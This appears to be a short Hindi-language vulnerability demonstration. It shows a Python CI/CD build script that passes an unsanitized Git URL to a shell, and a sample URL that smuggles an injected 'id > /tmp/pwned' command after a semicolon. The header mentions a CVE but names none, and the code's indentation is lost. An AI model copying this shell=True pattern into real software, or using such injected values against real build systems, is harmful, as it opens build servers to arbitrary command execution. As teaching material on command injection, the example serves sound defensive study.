
CI/CD पाइपलाइनों में अनसैनिटाइज़्ड Git URL के माध्यम से कमांड इंजेक्शन प्रदर्शित करता है, जिसमें एक असुरक्षित बिल्ड स्क्रिप्ट और एक गंभीर CVE के लिए एक्सप्लॉइट उदाहरण शामिल है।
# cicd_build.py - Clones repository without sanitizing URL
import subprocess, sys
def clone_and_build(repo_url):
# Vulnerability: repo_url can contain shell metacharacters
cmd = f"git clone {repo_url} /tmp/repo"
subprocess.check_call(cmd, shell=True)
# Build steps...
if __name__ == '__main__':
# Simulate attacker-controlled input
malicious_url = "https://github.com/org/repo.git; id > /tmp/pwned"
clone_and_build(malicious_url)
एक CI/CD पाइपलाइन स्क्रिप्ट शेल कमांड में बिना सैनिटाइज़ किए उपयोगकर्ता-आपूर्ति किए गए Git रिपॉजिटरी URL का उपयोग करती है। एक हमलावर URL में विशेष वर्णों (जैसे ;, &&) को शामिल करके शेल कमांड इंजेक्ट कर सकता है, जिससे बिल्ड सर्वर पर मनमाना कमांड निष्पादन हो सकता है।
कमजोर स्क्रिप्ट चलाएँ:
python cicd_build.py
यह इंजेक्ट किए गए id कमांड को निष्पादित करता है, जिससे /tmp/pwned बनता है।